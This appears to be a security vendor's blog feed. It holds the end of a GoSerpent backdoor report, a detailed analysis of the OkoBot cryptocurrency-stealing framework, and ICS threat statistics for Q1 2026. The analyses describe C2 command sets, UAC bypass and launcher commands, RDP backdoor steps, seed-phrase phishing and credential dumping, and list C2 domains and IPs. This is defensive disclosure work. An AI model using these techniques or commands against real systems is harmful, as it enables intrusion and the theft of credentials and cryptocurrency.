This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

Command Symbol (as derived from corresponding function names) Description
2BA1 Sync Respond to the server to show the infection is active
3BA2 Exit Exit process
4BA3 Ls Start listening on a port
5BA4 Connect Connect to a remote server
6BA5 Hello Create a shell on the infected machine
7BA6 Ul Upload a file or directory to the server
8BA7 Dl Download from the server
9BA8 Ss5 Start a SOCKS5 proxy on the infected machine
ABA9 Cl Close a listening port
CBAB RF Forward to a connected node

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent, including:

  • SOCKS5 proxying
  • port forwarding
  • file transfer
  • remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

  1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
  2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

  • SOCKS5 proxying
  • port forwarding
  • reverse tunneling
  • remote shell access
  • file transfer
  • SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

  • TmcLoader with an embedded payload
  • {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

  1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
  2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
  3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
  4. TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
  5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise

File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

  •  

OkoBot: new sophisticated malware framework targets cryptocurrency users

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

Original OkoBot infection chain

Original OkoBot infection chain

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

New OkoBot infection chain

New OkoBot infection chain

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

Malicious application distribution report

Malicious application distribution report

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

  1. Open firewall ports for inbound RDP traffic
  2. Create a user in the “Remote Desktop Users” group
  3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
  4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

Example output of HDUtil enumeration commands

Example output of HDUtil enumeration commands

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Command Description
target [nouac [user=<user>]] [noattach] <file> Starts file and prints its output.
If optional argument noattach passed, command to be executed in background.
If optional argument nouac passed, automatic UAC bypass to be performed.
If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen.
pcopy <file> <dir_src> <dir_dst> Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot.
enumadapters Prints names of graphical adapters on current system. Not used by SSH bot.
enumsessions Prints all sessions on current system. Not used by SSH bot.

Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

Setting up protections on the regions and launching the implant

Setting up protections on the regions and launching the implant

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

List of the functions hooked by the malware

List of the functions hooked by the malware

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

The loader replaces the functions it finds with its own

The loader replaces the functions it finds with its own

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

Extensions are unpacked into a non-default directory

Extensions are unpacked into a non-default directory

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

Stub for hiding malicious extensions

Stub for hiding malicious extensions

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

Decrypting implant using AES GCM and subsequent mapping

Decrypting implant using AES GCM and subsequent mapping

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Task index Action
1 Reconfigure client: update session keys, assign ID, switch to another C2
2 Load DLL implant into memory and run its entry point
3 Load plugin into process and register tasks with RegisterPlugin function
4 Restart dispatcher as new process
x If the task number is none of the above, search for it among the registered plugins

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

Resolving a plugin initialization function

Resolving a plugin initialization function

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

  • CMD wrapper (10xx): allows running scripts and individual commands in cmd.
  • PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
  • Environment enumerator (12xx): gathers system information, active sessions, and processes.
  • Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
  • Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

List of functions hooked by the malware

List of functions hooked by the malware

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

Phishing pages for seed phrase recovery

Phishing pages for seed phrase recovery

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

  1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
  2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
  3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

Example of the keylogger log file

Example of the keylogger log file

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

Example of an OkoSpyware metadata file

Example of an OkoSpyware metadata file

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Sequential exfiltration of artifacts from the temporary directory

Sequential exfiltration of artifacts from the temporary directory

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru          # TookPS
recavb22[.]online         # TookPS
kbeautyreviews[.]com      # TookPS
coffeesaloon[.]online     # TookPS
104.243.43[.]16           # SSH bot
104.243.32[.]213          # SSH bot
62.210.188[.]209          # SSH bot
livewallpapers[.]online    # Volume2 C2
thatwascringe[.]com        # Volume2 C2
moonsand[.]store          # SeedHunter C2

  •  

Threat landscape for industrial automation systems. Q1 2026

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Percentage of ICS computers on which malicious objects were blocked, Q2 2023–Q1 2026

Percentage of ICS computers on which malicious objects were blocked, Q2 2023–Q1 2026

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

Regions ranked by percentage of attacked ICS computers

Regions ranked by percentage of attacked ICS computers

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Industries ranked by the percentage of ICS computers on which malicious objects were blocked

Industries ranked by the percentage of ICS computers on which malicious objects were blocked

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Percentage of ICS computers on which the activity of malicious objects from various categories was prevented

Percentage of ICS computers on which the activity of malicious objects from various categories was prevented

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Percentage of ICS computers on which spyware was blocked in various industries in Russia, Q3 2025–Q1 2026

Percentage of ICS computers on which spyware was blocked in various industries in Russia, Q3 2025–Q1 2026

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

